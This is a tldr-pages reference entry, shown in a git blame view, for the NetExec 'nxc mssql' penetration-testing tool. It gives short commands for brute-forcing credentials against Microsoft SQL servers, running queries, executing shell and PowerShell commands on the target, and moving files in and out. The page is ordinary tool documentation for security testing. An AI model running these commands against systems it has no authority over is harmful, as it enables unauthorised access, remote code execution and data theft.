1
0
Fork 0
mirror of https://github.com/tldr-pages/tldr.git synced 2025-07-05 01:35:25 +02:00
tldr/pages/common/nxc-mssql.md

29 lines
1.4 KiB
Markdown
Raw Normal View History

2024-10-28 06:40:45 +01:00
# nxc mssql
> Pentest and exploit Microsoft SQL servers.
> More information: <https://www.netexec.wiki/mssql-protocol>.
2025-05-04 20:03:26 +03:00
- Search for valid credentials by trying out every combination in the specified lists of usernames and passwords:
2024-10-28 06:40:45 +01:00
2025-05-04 20:03:26 +03:00
`nxc mssql {{192.168.178.2}} {{[-u|--username]}} {{path/to/usernames.txt}} {{[-p|--password]}} {{path/to/passwords.txt}}`
2024-10-28 06:40:45 +01:00
2025-05-04 20:03:26 +03:00
- Execute the specified SQL query on the target server:
2024-10-28 06:40:45 +01:00
2025-05-04 20:03:26 +03:00
`nxc mssql {{192.168.178.2}} {{[-u|--username]}} {{username}} {{[-p|--password]}} {{password}} {{[-q|--query]}} '{{SELECT * FROM sys.databases;}}'`
2024-10-28 06:40:45 +01:00
- Execute the specified shell command on the target server through MSSQL:
2025-05-04 20:03:26 +03:00
`nxc mssql {{192.168.178.2}} {{[-u|--username]}} {{username}} {{[-p|--password]}} {{password}} -x {{whoami}}`
2024-10-28 06:40:45 +01:00
- Execute the specified PowerShell command on the target server through MSSQL without retrieving output:
2025-05-04 20:03:26 +03:00
`nxc mssql {{192.168.178.2}} {{[-u|--username]}} {{username}} {{[-p|--password]}} {{password}} -X {{whoami}} --no-output`
2024-10-28 06:40:45 +01:00
- Download a remote file from the target server and store it in the specified location:
2025-05-04 20:03:26 +03:00
`nxc mssql {{192.168.178.2}} {{[-u|--username]}} {{username}} {{[-p|--password]}} {{password}} --get-file {{C:\path\to\remote_file}} {{path/to/local_file}}`
2024-10-28 06:40:45 +01:00
- Upload a local file to the specified location on the target server:
2025-05-04 20:03:26 +03:00
`nxc mssql {{192.168.178.2}} {{[-u|--username]}} {{username}} {{[-p|--password]}} {{password}} --put-file {{path/to/local_file}} {{C:\path\to\remote_file}}`